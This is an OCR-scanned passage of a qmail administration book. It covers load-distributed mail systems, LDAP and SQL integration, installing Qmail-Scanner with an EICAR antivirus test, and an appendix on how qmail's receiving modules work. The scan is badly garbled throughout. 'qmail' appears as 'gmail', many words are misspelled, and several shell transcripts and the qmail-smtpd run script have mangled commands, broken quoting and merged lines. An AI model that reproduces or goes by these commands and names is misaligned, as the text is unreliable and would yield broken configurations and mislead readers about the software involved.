what if you need to set up areally large mail system, cgpable of handling millions of mailboxes or tens of millions of

messages per day?

The best gpproach to setting up ahuge system isn't smply to set up one hugely powerful system. Such asystem
would be expensive, but, more importantly, it would represent a serious liability. If the huge server broke, the entire
system would be unusable.

A much better approach isto digtribute the load among a set of smaller "commodity” systems. gmail's modular
architecture and maildir mailbox format, combined with load-baancing hardware or software, enable relatively easy
congtruction of scalable mail systems. If one of the subsystems breaks, only a subset of users or functionsis
disrupted. And if additiona capacity isrequired, additional systems can be easily added later.

The four main functions of amail server are sending mall, receiving mail, delivering mail to local mailboxes, and
serving mailboxesto users. Y oull examine each of these functions and consider ways to distribute their load across
multiple systems. However, setting up ahigh-performance, high-availability, and scaable mail system isacomplex
task. Y ou can hire consultants who have experience doing this, and it might make more sense to employ thelr
services than to devel op this expertise in-house. (See http://Amww.gmail.org/top.htmi#paidsup for alist of commercid
support providers.)

Outgoing Mall

There are basicaly two scenariosinvolving the large-scde sending of mail: asingle message distributed to alarge
mailing list and individualy customized messages didtributed to alargelist of recipients.

Although both may result in about the same number of ddliveries, they present dramaticaly different loadsto the
sending mail system. Take the example of asingle message sent to alist of 10,000 recipients versus a customi zed
message of the same length sent to the same 10,000 recipients. The message is 2,000 bytes, and the average
recipient's address contains fifteen characters.

Thefirst case requires generating and queuing one message, resulting in ahandful of queue files, and occupying disk
space proportiond to the size of the message plusthe size of the mailing list. In this case, that's 2,000 bytes for the
message plus 150,000 bytes for the mailing list (10,000 x 15), atotal of 152,000 bytes.

The second case requires generating and queuing 10,000 messages, resulting in afew tens of thousands of queue
files, and occupying disk space proportiona to 10,000 times the size of the message and the recipient. That's 10,000
x 2015, atota of 20,150,000 bytes!


http://www.qmail.org/top.html#paidsup
http://www.qmail.org/top.html#paidsup

Obvioudy, you should be careful to avoid the message-per-recipient scenario whenever possible.

Either way, though, the scalable solution isto divide the workload among a set of N outgoing servers. With the first
scenario, thisis easly accomplished by dividing thelistinto N "sublists" one of which resides on each of the servers.
With the second scenario, the list of recipientsisagain brokeninto N sublists, but the process that generates the
messages must also be broken into N subprocesses (see Figure 12-4).
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Figure 12-4: Digtributing outgoing load

I ncoming M ail

If you need to handle high volumes of incoming mail whether for find delivery to user mailboxes or for routing to
other systems the Domain Name System (DNS) mail exchanger (MX) mechanism nicely facilitates |oad distribution.
If you have N SMTP server systems, you smply create an M X record in the DNS for each, all at the same priority.
Sending MTAs automatically pick one MX randomly from aset of MX records at the same priority.

If MX load digtribution is inadequate maybe you want more flexibility than DNS adlows, or you need more servers
than DNS can easily accommodate hardware |oad-ba ancers are avail able that will split traffic to asingle Internet
Protocal (1P) address across multiple systems.

Oncetheincoming SMTPtraffic is split, al you need to do is configure each server to forward or deliver the
messages as desired. Digposition information could be stored in aremotely accessible database and retrieved using a
Lightweight Directory Access Protocol (LDAP) or Structured Query Language (SQL) lookup tool or add-on.
(LDAP and SQL are covered later in this chapter.)

Figure 12-5 shows an M X-distributed incoming service.
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Figure 12-5: Digtributing incoming load with MX records

Figure 12-6 shows atransparently distributed incoming SMTP service using aload-balancer or round-robin DNS.
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Figure 12-6: A transparently distributed SMTP service

Mailbox Delivery

So you've got a couple million users and you want to distribute ddlivery to their mailboxes. gmail's maildir format
alows multiple ddivery agentsto update a single mailbox smultaneoudy safely and without the need for complex
locking mechanisms, even over Network File System (NFS).

A single, high-performance network-attached storage (NAS) device with built-in redundancy and battery-backed



write cache can serve alarge number of mailboxesto an array of servers. If you need more than one mailbox server,
smply digtribute the mailboxes across the set of mailbox servers, perhaps using LDAP or some other database to
contain the mapping between mailbox name and mailbox server. Figure 12-7 shows adistributed mailbox
configuration.
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Figure 12-7: Digributing mail delivery

Mailbox Service

Now you've got thousands or millions of mailboxes stored on one or more mailbox servers, and you need to provide
access to those mailboxes via POP3 or IMAP. Y ou can set up multiple POP3/IMAP servers behind a hardware
load-balancer or round-robin DNS server so al users access the same POP3/IMAP server name, but theload is
transparently distributed across the server pool. Figure 12-8 shows adistributed mailbox service.
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Figure 12-8: Distributed POP3/IMAP service
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Using Lightweight Directory Access Protocol

LDAP provides distributed access to smple, non-relationa databases. It's commonly used to store information about
people (users, employees, members), places (buildings, rooms), and things (computers, printers, equipment).

LDAPisprimarily used by large facilitieswith many users and multiple servers that need access to information about
those users, such as username, home directory location, password, e-mail address, login shell preference, and so on.

Y ou can use LDAP with gmail intwo ways. viaan LDAP Pluggable Authentication Module (PAM) and with the
gmail-ldap patch set. Both of these methods require the administrator to know how to use and configure the LDAP
service, which is beyond the scope of this book.

L DAP PAM

PAM isamechanism for supporting aternative user-authentication methods on Unix systems. Traditiondly, Unix
users are authenticated via the usernames and password hashes stored in /etc/passwd and sometimes a shadow
password file such as/etc/shadow. Thisrequires al authentication information to be stored on each systemin one or
twofiles

Using PAM with an LDAP module, user authentication can be done using L DAP to access usernames and
passwords stored in centralized databases.

PAM isnot yet supported on al Unix and Unix-like systems, but it isavailable for Linux, Solaris, HP-UX, and some
Berkeley Software Digtribution (BSD) variants.

Additiond information about LDAP PAM modulesis available on the Web (http:/Amww.padl.com/pam_Idap.html).

gmail-ldap

gmail-ldap isaset of extensve patchesto gmail 1.03 that tightly integrate gmail with LDAP. With these patches
ingtaled, gmail uses LDAPto look up al user information, including username, password, user ID (UID), group ID
(GID), and home directory. It so supports virtua users and routing mail to the mail host specified with each user's
account information making it well suited to scalable mail systemswith user accounts spread across multiple servers.
The gmail-ldap patches are available from the Web (http:/mww.nrgdu.conv).

Henning Brauer has written acomprehensive guideto ingtaling and usng gmail-Idap called "Life With gmail-Idap.”
It's available from the Web (http:/Amww.lifewithgmail .org/lda/).



http://www.padl.com/pam_ldap.html
http://www.nrg4u.com/
http://www.lifewithqmail.org/ldap/
http://www.padl.com/pam_ldap.html
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http://www.lifewithqmail.org/ldap/

gmail-Idap substantialy changes the way many thingswork, and not al of the changes are related to LDAP. For
example, it includes support for mail quotas, logging in gmail-smtpd and gmail-pop3d, additiona junk mail controls,
and automatic maildir mailbox creation.

< Free Open Study >




< Free Open Study >

Using Structured Query Language

SQL isan industry-standard database query language. All mgor commerciad database gpplications, aswell asfree
implementations such as PostgreSQL (http://www.postgresal.org/) and MySQL (http:/Amww.mysgl.org/), support
SQL.

Y ou can use SQL with gmail to store user information much like LDAP through the use of add-ons and patches
available from the Web (http:/Amww.gmail.org/). Although SQL is sandardized, the implementations differ enough
that most of these patches are specific to a particular SQL implementation.

Some of the SQL integration tools available are:

checkpass.c, a checkpassword replacement that |ooks up authentication information in a PostgreSQL
database (http://x.csush.net/free/gmail/).

sl-xpw, another checkpassword replacement for PostgreSQL ( http:/mww.point-five.net/Qmail/).

MySQL+QMAIL, aset of patches and a checkpassword replacement that retrieves al user information
from aMySQL database (http://Mmww.softagency.co,jp/mysgl/gmail.en.ntml). An dternative verson isaso
available (http://ian.cx/unix/gmail/mysgl.php).

Qmail-PGgl, aset of patchesincluding a checkpassword replacement for use with PostgreSQL (
http:/AMww.digibd .org/gmall+pgsal/).
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Virus Scanning

Although properly managed Unix systems are highly resistant to viruses, worms, Trojan horses, and other malware
(mdicious software), e-mail isacommonly used vector for carrying them to users on vulnerable desktop platforms.
Of course, the best way to avoid these attacks is to avoid desktop operating systems and applications with along
history of vulnerability. Unfortunately, that's not aways possible.

One solution isto pass dl messages both locally originated and from remote Stes through a Unix-based utility that
scans them for known malware. These scanners|ook for signatures byte strings whose presence indicates that the
file probably contains a particular virus. Thisintegration requiresingaling avirus-scanning application, indaling a
gmail virus-scanning mechanism, and regularly updating the virus-scanning application's database of Sgnatures. Even
with such asystem in place, therés awindow of vulnerability between the time anew attack islaunched and thetime
the attack's Signature is added to the local copy of the signature database.

Y ou can use a couple of virus-scanning mechanisms with gmail including AMaViS (A Mail Virus Scanner) and
Qmail-Scanner.

AMaViS

AMaViSisagenerd e-mail scanner that's adaptable to multiple M TAS, including gmalil. Beforeingtdling AMaViS,
you'll need aworking gmail installation, a supported virus scanner, and Perl with severa required modules. The Web
gte (http://amavis.org/) lists the supported scanners. The README file lists the required Perl modules. Instdlation
ingructionsfor gmail are contained in the README.gmall file. Once AMaViSisingalled, you hook it into gmail by
renaming /var/gmail/bin/gmail-queue to /var/gmail/bin/gmail-queue-redl and copying /ust/shinfamavisto
Ivar/gmail/bin/gmail-queue. Because al messages that enter the queue pass through gmail-queue, it'salogicd place
to check for maware.

Qmail-Scanner

Qmail-Scanner, asthe nameimplies, isavirus-scanning mechanism the author calsit a harness designed specificaly
for gmalil. It supports most Unix virus scanners and is easily extensible to support others. Complete information about
ingallation and scanner compatibility is available on the Web (http://gmail-scanner.sourceforge.net/).

In addition to running commercia scanners, Qmail-Scanner has abuilt-in scanner that can block messages with
certain types of attachments or header fields. Thisis particularly useful for blocking new viruses before they've been
added to your scanner's database. More information on the built-in scanner is available on the Web (
http://gmail-scanner.sourceforge.net/perl scanner.php).

I nstalling Qmail-Scanner


http://amavis.org/
http://qmail-scanner.sourceforge.net/
http://qmail-scanner.sourceforge.net/perlscanner.php
http://amavis.org/
http://qmail-scanner.sourceforge.net/
http://qmail-scanner.sourceforge.net/perlscanner.php

Before you attempt to ingtdl Qmail-Scanner, make sure you've ingalled the prerequisites:

gmail 1.03, of course.

Maildrop 0.73 or 1.1 or later, for the reformime utility. See Appendix B, "Related Packages,” for more
information.

Perl 5.005_03 or later.

The Time::HiRes and DB_File Perl modules. See the Comprehensive Perl Archive Network (CPAN) Web
ste (http://mww.cpan.org/) to download these modules.

For examining Transport Neutral Encoding Format (TNEF) attachments, the tnef utility, available from
http://world.std.com/~damned/software.html .

If it'snot dready ingtdled, ingtal Bruce Guenter's QMAILQUEUE patch, which isavailable from
http:/Aww.gmail.org/gmail queue-paich. This patch causes programs that run gmail-queue to check the
QMAILQUEUE environment variable, and, if it's set, useits value as the name of the gmail-queue program.
Thisalowsfiltersto be inserted before messages are queued, which is useful for various message-processing
tasks.

For example, to ingall the QMAILQUEUE patch, do this:

$ cd /usr/local/src/qgnmail-1.03
$ wget http://ww. gmail . or g/ gmai | queue- patch
22:29:07- http://ww. grai | . or g/ gmai | queue- pat ch
=> " gnmui | queue- pat ch'
Connecting to ww. gmai | . org: 80... connect ed!
HTTP request sent, awaiting response... 200 X
Length: 4,128 [text/plain]

oK -> .. .. [100%
22:29:10 (3.27 KB/s) - "qnumil queue-patch' saved [4128/4128]

$ patch -pl < gmail queue- patch

patching file Makefile

Hunk #1 succeeded at 1484 (offset 1 line).
patching file gmail.c

$ su

Password: root password

# gmail ctl stop


http://www.cpan.org/
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St oppi ng gmai | .
grai | - smt pd
grmai | - send
# make setup check
./conpile gmail.c
./load gmail-local gnail.o quote.o now.o gfromo nyctine.o \
sl urpcl ose. o0 case.a getln.a getopt.a sig.a open.a seek.a \
...nore output followed by sonething |like:
seek.a env.a substdio.a error.a str.a fs.a auto_gnail.o
.linstall
. linstcheck
# gmail ctl start
Starting gmail
# exit
$

Download Qmail-Scanner using your Web browser or acommand-line utility. At thetime of thiswriting, the
current version is 0.96. For example, using the wget utility:

$ cd /usr/local/src
$ wget ftp://qgmail-scanner. sourceforge. net/pub/qgnuil -scanner/
gmai | - scanner-0. 96. t
gz
11: 08:46- ftp://qgmail-scanner. sourceforge. net/pub/qgnail-scanner/qgmail -scanner -
0.96.tgz
=> " gmai |l - scanner-0.96.tgz

Connecting to gmail-scanner. sourceforge.net:21... connected!
Loggi ng in as anonynous ... Logged in!

==> TYPE | ... done. ==> CWD pub/qmuil -scanner ... done.

==> PORT ... done. ==> RETR qmai | -scanner-0.96.tgz ... done.

Lengt h: 57,066 (unauthoritative)

11: 09: 10 (2.82 KB/s) - "qgnumil-scanner-0.96.tgz' saved [ 57066]

$

Unpack the sourcetarball:

$ gunzip gnail-scanner-0.96.tgz
$ tar xf gmail-scanner-0.96.tar
$ cd gmail -scanner-0. 96
$

Run configure as root to check for problems such as missing prerequisites. In this example, the virus-scanner
program, which is part of acommercia package ingtalled previoudy, is/usr/local/bin/sweep:

$ su
Password: root password
# ./configure


ftp://qmail-scanner.sourceforge.net/pub/qmail-scanner/
ftp://qmail-scanner.sourceforge.net/pub/qmail-scanner/qmail-scanner-

This script will search your systemfor the virus scanners it knows
about, and will ensure that all external prograns

gmai | - scanner - queue. pl uses are explicitly pathed for perfornmance
reasons.

It will then generate qnuil-scanner-queue.pl - it is up to you to install it
correctly.

Continue? ([Y]/N)
y

[ usr/ bi n/uudecode works as expected on system..
The foll owi ng binaries and scanners were found on your system
ref orm me=/usr/ | ocal / bin/reformnme

uudecode=/ usr/ bi n/ uudecode
unzi p=/usr/ bi n/unzip

Commer ci al Scanners installed on your System
sweep=/ usr/ 1 ocal / bi n/ sweep

Qmai | - Scanner detail s.

| og-detail s=0

debug=1

noti f y=sender, admi n

Vi rus-admi n=r oot @lol phin

If that |ooks correct, | will now generate gnail -scanner-queue.p
for your system..

Continue? ([Y]/N)
y

Fi ni shed. Pl ease read README(. htm ) and then go over the script to
check paths/etc, and then install as you see fit.

Remenber to copy quarantine-attachments.txt to /var/spool/qgmailscan and then
run "qgmail - scanner-queue. pl -g" to generate DB version

* kkkk*k FI ML TES *kkkkx

Pl ease log into the "gnmaild" account and run

/var/ qmai |l / bi n/ gmai | - scanner - queue. pl -g

If you see the error "Can't do setuid", or "Pernission denied", then
refer to the FAQ

That's it! To report success:
% (echo "First M Last'; /var/qgnail/bin/qgmail-scanner-queue.pl -v)|nail
j haar-s4vstats@romtrinbl e.co. nz

Repl ace First M Last with your nane.
#

Oncethe dry run completes without error, rerun configure with the ingtdl flag to actudly perform the
ingdlation:

# ./configure instal



This script will search your systemfor the virus scanners it knows
about, and will ensure that all external prograns

gmai | - scanner - queue. pl uses are explicitly pathed for perfornmance
reasons.

It will then generate qnuil-scanner-queue.pl - it is up to you to install it
correctly.

Continue? ([Y]/N)
y

[ usr/ bi n/fuudecode works as expected on system
The foll owi ng binaries and scanners were found on your system

reform me=/usr/| ocal/bin/reformnme
uudecode=/ usr/ bi n/ uudecode
unzi p=/usr/ bi n/unzip

Commer ci al Scanners installed on your System
sweep=/ usr/ 1 ocal / bi n/ sweep

Qmai | - Scanner detail s.

| og-detail s=0

debug=1

noti f y=sender, admi n

vi rus-adm n=r oot @ol phin

If that |ooks correct, | will now generate gnail -scanner-queue.p
for your system

Continue? ([Y]/N)

y

Ht RETURN to create initial directory structure under /var/spool/qgnail scan,
and install qgmail-scanner-queue.pl under /var/qgmail/bin:

[Enter]

Total of 5 entries.

Fi ni shed installation of initial directory structure for Qmail-Scanner
under /var/spool/gmail scan and gnai |l - scanner - queue. pl under /var/qgmail/bin.

Fi ni shed. Pl ease read README(. htm ) and then go over the script
(/var/gmail / bin/gnai |l -scanner-queue. pl) to check paths/etc.
“/var/qnail/bin/gmail - scanner-queue.pl -r" should return sonme well-known virus
definitions to show that the internal perlscanner conponent is working.

That's it!
* kkkk*k FI ML TEST *kkkkx

Pl ease log into the "gnmaild" account and run
/var/ qmai |l / bi n/ gmai | - scanner - queue. pl -g

If you see the error "Can't do setuid", or "Pernission denied", then
refer to the FAQ

That's it! To report success:

% (echo "First M Last'; /var/qgnail/bin/gmil-scanner-queue.pl -v)|nail jhaar-
s4vstats@romtrinbl e. co. nz

Repl ace First M Last with your nane.

#



Perform the test suggested by configure:

# su gmaild
$ /var/qgmail/bin/gmail-scanner-queue.pl -g
Total of 5 entries.
$ exit
#

Next, inject some test messages containing standard virus test sgnatures:

# ./contrib/test _installation.sh -doit
setting QVAI LQUEUE to /var/gmail/bin/qgmail-scanner-queue.pl for this test.

Sending eicar test virus - should be caught by perlscanner nodul e.
done!

Sending eicar test virus with altered filenane - should only be caught by
comercial anti-virus nmodules (if you have any).

Done!

Fi ni shed test. Now go and check Email for root @ol phin

#

Asthe message says, two messages should have been sent to root: one caught by Qmail-Scanner's perl scanner
module and another caught by the commercid virus scanner. For example, the first message should look like Liding
12-1, and the second should be similar, but identified as " non-perlscanner” in the Subject.

Listing 12-1: Responseto perlscanner test

"System Anti-Virus Adm nistrator"” <root @ol phin.exanpl e.conp

oot @lol phi n. exanpl e. com

Subject: Virus found in sent nessage "Qmail-Scanner viral test: checking
perl scanner..."

Attention: System Anti-Virus Adninistrator

[ This nmessage was _not_sent to the originator, as they appear to
be a mailing-list or other automated Email nessage]

A Virus was found in an Email nessage you sent.

This Email scanner intercepted it and stopped the entire nessage
reaching it's destination

The Virus was reported to be:

El CAR Test Virus

Pl ease update your virus scanner or contact your |.T. support
personnel as soon as possible as you have a virus on your system

Your nessage was sent with the follow ng envel ope:



MAI L FROM
RCPT TO root @ol phi n. exanpl e. com

and with the foll owi ng headers:

From r oot @lol phi n. exanpl e. com
Cc: reci pient list not shown: ;
Subj ect: Qmail -Scanner viral test: checking perlscanner.
Message- I D. <20010819015340. 17354. qmai | @ol phi n. exanpl e. con>
Dat e: 19 Aug 2001 01:53:40 -0000
The original nessage is kept in:

dol phi n: /var/spool / gmai | scan/ quar anti ne

where the System Anti-Virus Administrator can further diagnose it.

The Email scanner reported the foll owing when it scanned that nessage:

-perl scanner results -
Virus 'EI CAR Test Virus' found in file
[ var/ spool / qnmai | scan/ dol phi n99818602017355/ ei car. com

Sat QMAILQUEUE in the script that runs gmail-smtpd. If you ingtalled gmail by following the directionsin
Chapter 2, "Ingtdling gmail,” thiswill be /service/lgmail-smtpd/run. Y ou'll also probably haveto raisethe
memory limit set by softlimit to about 6000000. For example, the result should look likethis:

#!/ bi n/ sh
QWILDUID="id -u qmaild
NOFI LESG D="id -g qmaild
MAXSMIPD="head -1 /var/qgmail/control/concurrencyi nconi ng
if [ -z "SQVAILDU D' -0 -z "$NOFILESA@ D' -0 -z "SMAXSMIPD' ]; then
echo QVAI LDU D, NOFILESGA D, or MAXSMIPD i s unset in
echo /var/qmail/supervise/ qmail -snt pd/run
exit 1
fi
QVAlI LQUEUE="/var/ qmai | / bi n/ gmai | - scanner - queue. pl " export QVAI LQUEUE
exec /usr/local/bin/softlimt -m 6000000 \
/usr/local/bin/tcpserver -v -R-H -1 0 -x /etc/tcp.snmtp.cdb -c "$MAXSMIPD" \
-u "$QWAI LDUI D' -g "$NOFILESA@ D' 0 sntp /var/qmail/bin/qmail-sntpd 2>&1

Then restart the gmail-smtpd service:

# svc -t /service/qmail-sntpd
#

Fine-grained control over the scanning of messagesis possible by setting QMAILQUEUE from /etc/tcp.smtp instead
of therun cript.

0.



If you want to scan locally-injected mail, set QMAILQUEUE in /etc/profile and /etc/csh.login. However,
because localy-injected mail is not coming from aMail User Agent (MUA) on adesktop system, it's highly
unlikely to contain maware. Also, loca users could reset QM AILQUEUE to bypass the virus check, so this
method isn't secure againgt maliciouslocal users.

10.

Inject atest message via SMTP to verify correct operation and that the memory limit is sufficient. For
example, if you see something likethis

$ telnet 0 25
Trying 0.0.0.0.
Connected to O.
Escape character is '~]'.
220 dol phi n. exanpl e. com ESMIP

mai | from <dave@lol phi n. exanpl e. con®
250 ok

rcpt to: <dave@ol phin. exanpl e. con»
250 ok

dat a

354 go ahead

Subj ect: test

451 qq crashed (#4.3.0)

quit

221 dol phi n. exanpl e. com
Connection closed by foreign host.
$

The 451 qq crashed (#4.3.0) indicates that the softlimit setting istoo low.
11.

Finaly, inject atest message via SM TP containing the European Ingtitute for Computer Anti-Virus Research
(EICAR) virustest. (For moreinformation, see http:/Mmww.icar.org/.) For example:

$ telnet 0 25
Trying 0.0.0.0.
Connected to O.
Escape character is '""]'.
220 dol phi n. exanpl e. com ESMIP
helo kitty
250 dol phi n. exanpl e. com
mai | from <dave@lol phi n. exanpl e. con
250 ok
rcpt to: <dave@ol phin. exanpl e. cone
250 ok
dat a
354 go ahead
Subj ect: eicar test

X500 PYGAP[ 4\ PZX54( P*) 7CC) 7} $EI CAR- STANDARD- ANTI VI RUS- TEST- FI LE! $H+H*

250 ok 998226858 qp 26160
quit


http://www.icar.org/
http://www.icar.org/

221 dol phi n. exanpl e. com
Connection closed by foreign host.
$

Tip
Thethird character inthe EICAR test
fileisacapital O, not azero.Y ou can
aso download thetest filefrom the
EICAR Web site (
http://www.eicar.org/anti_virus test

file.htm).

The virus scanner should detect the virus test file, and amessage like the onein Ligting 12-1 should be sent to root's
mailbox.

M aintaining Qmail-Scanner

Virus scanners aren't something you can ingtal and forget about. Without regular maintenance, they quickly become
amost usdless. Y ou need to do afew things with Qmail-Scanner:

Update the virus scanner's signature database. Without regular updates, the scanner will be unableto
recognize new viruses. Consult your scanner's documentation or Web ste for information about obtaining
updates.

Prune Qmail-Scanner'slog file. By default, Qmail-Scanner ogs debugging information to
Ivar/spool/gmail scan/gmail-queue.log. Once you're comfortable that Qmail-Scanner isworking right, you
should edit /var/gmail/bin/gmail-scanner-queue.pl and set $DEBUG to O (zero) and delete the log file.

Clean junk left by dropped SMTP sessions out of /var/spool/gmailscan. Set up acron job to run
Ivarlgmail/bin/gmail-scanner-queue.pl -z once daily.

Clean the quarantine area, /var/spool/gmailscan/quarantine. Thisisamaildir mailbox that containsal
messages caught by Qmail-Scanner.
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Conclusion

In this chapter you learned about some advanced gmail topicsincluding single-recipient delivery, VERP, scaable
sarvers, and integrating gmail with LDAP, SQL., and virus scanners.

In the appendices, you'll learn more about how gmail works, how Internet mail works, and what other packages are
often used with gmail. Y ou'll also look at gmail's featuresin alittle more depth than in Chapter 1, and youll
investigate gmail's error messages and some of the "gotchas’ quirksin the way gmail worksthat often cause trouble
for beginners.

Throughout the course of this book's twelve chapters, you should have learned everything you need to know to
ingal, configure, maintain, and useagmail server. Y ou should be ableto configure sysemsfor everything from
desktop null clients using mini-gmail to multisystem, scalable server farms cgpable of supporting thousands of users.

Y ou should aso know where to turn for help resolving problems you can't figure out on your own, especidly the
gmail mailing list for do-it-yoursaf help and hired consultants when you need professond help. Also, don't forget to
check the book's Web site (http://Amww.apress.conV/) for corrections, clarifications, and downloadable scriptsused in
the book, aswell as other goodies.
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Appendix A: How gmail Works

Y ou don't need to understand how gmail worksto ingtall or use gmail. And you don't have to be an auto mechanic to
operate acar or awatchmaker to tell time. But if you really want to master gmail, knowing exactly how it does what
it doesiscrucid.

Luckily, gmail's smple, modular design makes understanding how it works easy for asystem as complex asaMail
Transfer Agent (MTA). This appendix takes atop-down approach: first looking at how the modules interact with
each other, then looking at how each module doesitsjob.

High-Level Overview

The grand division in gmall is between the modules that accept new messages and place them into the queue and the
modulesthat deliver them from the queue. Well cal these functions receiving and sending. The separation between
receiving and sending is complete: Either of these functions can be fully operationa while the other is shut down.
Figure A-1 showsthe high-level organization of gmail.

" N

.-/ \-\.
/ Y
[ |
Incoming o FRecefving |—» Queve | ¥ sending | .m-]w._.md
Biessages | | Hessages
M S

Fgure A-1: High-level gmail organization

Receiving

Messages enter the queue through two main routes: loca injection using gmail-inject or sendmail and network
injection using gmail-smtpd, gmail-gmtpd or gmail-gmapd. Both of these routes use gmail-queue to actualy inject
their messagesinto the queue. Figure A-2 showsthe organizetion of the receiving function.
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Fgure A-2: Thereceiving function



Sending

Messages are ddivered from the queue through two main routes: locd ddlivery usng gmail-loca and remote ddivery
using gmail-remote. Both types of deliveries are dispatched by gmail-send through gmail-lspawn and gmail-rspawn,
respectively. Figure A-3 shows the organization of the sending function.

grail-lspawn gquail-local | [ "\'-'_f-'ll
[ } '.I ' Delivery
Queue | ":-‘.‘r—"l.l-w.-'-:i
|_'-'I'-'-“l rspawn |—# geall-resote |—# Remate
g Delivery

Figure A-3: The sending function
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Recealving M odules

First well look at the modules comprising the receiving function: sendmail, gmail-inject, gmail-smtpd, gmail-gmtpd,
gmail-gmgpd, and gmail-queue.

L ocal Receiving M odules

Messagesinjected localy usualy comein through gmail-inject or the sendmail wrapper. It'saso possibleto inject
messages using gmail-queue directly, but thisis uncommon.

sendmail

The sendmail command is primarily awrapper around gmail-inject. It accepts many of the Sendmail version's options
and arguments, trandates them to their gmail-inject equivaents, ignoresirrelevant options, and runs gmail-inject.

gmail-inject

gmail-inject'sjob is ensuring that messages have RFC 2822-compliant headers before passing them on to
gmail-queue. Chapter 4, "Using gmall," details how environment variables can adjust the appearance of messages
passed through gmail-inject. The gmail-header man page details gmail-inject's header manipulation.

Address Qualification

For email addresseslisted in From, To, Cc, and other fields, gmail-inject ensuresthat they're in the format local part
@qualifieddomain.

If an address conssts only of alocalpart, it appends @defaulthost.

If an address consists only of local part @hostname, it appends .defaultdomain.

If an addresslooks like |ocal part @hostname+ , it replaces the + with . plusdomain.



Recipients

If no recipients are pecified on the command line, gmail-inject looks for recipientsin the To, Cc, Bcc,
Apparently-To, Resent-To, Resent-Cc, and Resent-Bece fields. All Bec and Resent-Bcec fields are stripped from the
header.

Because RFC 2822 requiresthat al messageshaveaTo or CC field, gmail-inject adds one, if necessary, containing
this

Cc: recipient list not shown:

which isan empty address group.

Required Fields

gmail-inject addsthe following fieldsif they're not provided:

From-the name of the user who invoked gmail-inject.

Date-the current time in Greenwich Mean Time (GMT).

Message-Id-not strictly required by RFC 2822, but handy for tracking messages. The vaue is <timestamp.
pid.gmail @qualifiedhostname>, by default, where qualifiedhostname is constructed from defaulthost and
defaultdomain.

Other Features

gmail-inject so doesthe following:

Resent-header fidlds-Resent fidds are handled smilarly to origind fields: Resent-Cc isadded if Resent-To
and Resent-Cc are missing, and Resent-From and Resent-Date are added if necessary.

Addresseslisted in header fields must be separated by commas, so if gmail-inject sees addresses separated
by spaces, it inserts commeas. For example, thisfield:

To: carol david



will berawritten asthis

To: carol, david

Return-Path and Content-L ength fields are stripped.

Remote Receiving M odules

Messages received remotely usualy come in through gmail-smtpd, gmail-gmtpd, or gmail-gmpd, depending upon the
protocol used.

gmail-smtpd

gmail-smtpd conducts an SMTP session on standard input and standard output, accepts one or more messages, and
passes them on to gmail-queue. gmail-smtpd does not handle accepting network connectionsitsdf: It must be run by
anetwork server such astcpserver from the ucspi-tcp package (see Appendix B, "Related Packages'), inetd, or
xinetd.

gmail-smtpd expects the environment variableslisted in Table A-1 to be set.

Table A-1: TCP Environment Variables

VARIABLE CONTENTS

PROTO Always TCP

TCPLOCALHOST Lowercased domain name of theloca hog, if available,
or unset

TCPLOCALIP Internet Protocol (1P) address of theloca hostin

dotted-decima form (X.x.x.X)

TCPLOCALPORT Loca port number of the SMTP session, in decimal
TCPREMOTEHOST L owercased domain name of the remote host, if

avallable, or unsst




TCPREMOTEINFO A vaue, often ausername, supplied by the remote hogt,
obtained using the IDENT protocol (RFC 1413), if
available, or unset

TCPREMOTEIP IP address of the remote host in dotted-decimal form

TCPREMOTEPORT Remote port number of the SMTP session, in decimal

gmail-smtpd begins by displaying abanner messagelikethis:

220 dol phi n. exanpl e. com ESMIP

The 220 isastatus code that indicates "no problems.” See Appendix C, "An Internet Mail Primer,” for more
information about Smple Mail Transfer Protocol (SMTP) and its status codes. dolphin.example.comisthe locd host
name, and ESM TP advertises that gmail-smtpd implements some SMTP extensions.

After displaying the banner message, gmail-smtpd reads SM TP commands from the client via standard input and
outputs its response to standard output. SM TP requires commands to be issued in a certain order and syntax, and
gmail-smtpd enforces these restrictions. It also enforces other restrictions based on environment variables such as
RELAYCLIENT and DATABY TES and control files such as badmailfrom, databytes, and rcpthosts. (See Chapter 5
, "Managing gmail," for more information about these variables and control files.)

One of the most important checks gmail-smtpd performsisthe validation of recipients. Recipients are specified in
SMTP RCPT commands, which look likethis:

RCPT TQO <l ocal part @onai n>

If the RELAY CLIENT environment variable is set-meaning that the client isalowed to relay-the vaue of the variable
is appended to domain, and the modified recipient is added to thelist. RELAY CLIENT isusualy set to the empty
string, so the recipient addressis not modified. However, if RELAY CLIENT isinadvertently set to something such
asasingle space character, thisresultsin making dl injections from relay-approved clientsfail because of invalid
domain names.

Note
There arelegitimate uses of a
non-empty RELAYCLIENT. The
onlinegmail FAQ gives an examplethat
uses RELAYCLIENT and
control/virtualdomains to implement
envelope rewriting (
http://cr.yp.to/gmail/fag/ser ver s.ntml
#network-rewriting).



http://cr.yp.to/qmail/faq/servers.html#network-rewriting
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If RELAYCLIENT isnot set, gmail-smtpd looksin control/rcpthosts and control/morercpthosts.cdb for domain. If
the domain isn't listed, the recipient is rgjected with this message:

553 sorry, that domain isn't in nmy list of allowed rcpthosts (#5.7.1)

Accepted messages are passed to gmail-queue to be placed in the queue. If successful, gmail-smtpd reports success,
accepting responsibility for delivering the message or returning a bounce message to the sender if it's not ddliverable.

Note that gmail-smtpd converts SMTP carriage return/linefeed (CR-LF) new-linesinto Unix LF newlines, and
returns atemporary error when it detects a bare L F-one not preceded by a CR.

gmail-smtpd adds a Received field to each message. Thisfield lookslikethis:

Recei ved: from unknown (HELO dol phi n. exanpl e.com) (127.0.0.1)

by O with SMIP; 8 Aug 2001 16: 02: 00 - 0000

where

unknown meansthat TCPREMOTEHOST was not st.

dol phin.example.com was the parameter supplied by the client with the HEL O command.

127.0.0.1 was the value of TCPREMOTEIP.

O wasthe value of TCPLOCALHOST (in this case, set using the -| option to tcpserver).

SMTP isthe protocol.

8 Aug 2001 16:02:00 -0000 is the time and date at which gmail-smtpd received the message.

gmail-gmtpd

gmail-gmtpd does pretty much the same thing that gmail-smtpd does. The differenceisthat it usesthe Quick Mall
Transfer Protocol (QMTP) instead of SM TP, which changes the commands and responses. gmail-gmtpd requires
the same TCP environment variableslisted in Table A-1 and honorsthe RELAY CLIENT and DATABYTES



environment variables and rcpthosts, morercpthosts.cdb, and databytes control files.
gmail-gmqgpd

gmail-gmapd works much like gmail-gmtpd except it does not do any relay control: All recipients are accepted
unconditiondly. Again, it requiresthe TCP environment variableslisted in Table A-1.

gmail-queue

gmail-queue's job isto accept messages and place them into the queue. It reads a single message from file descriptor
zero and an envelope from file descriptor one. Chapter 4, "Using gmail," explainsthe format of the envelope and
gmail-queue's exit status codes.

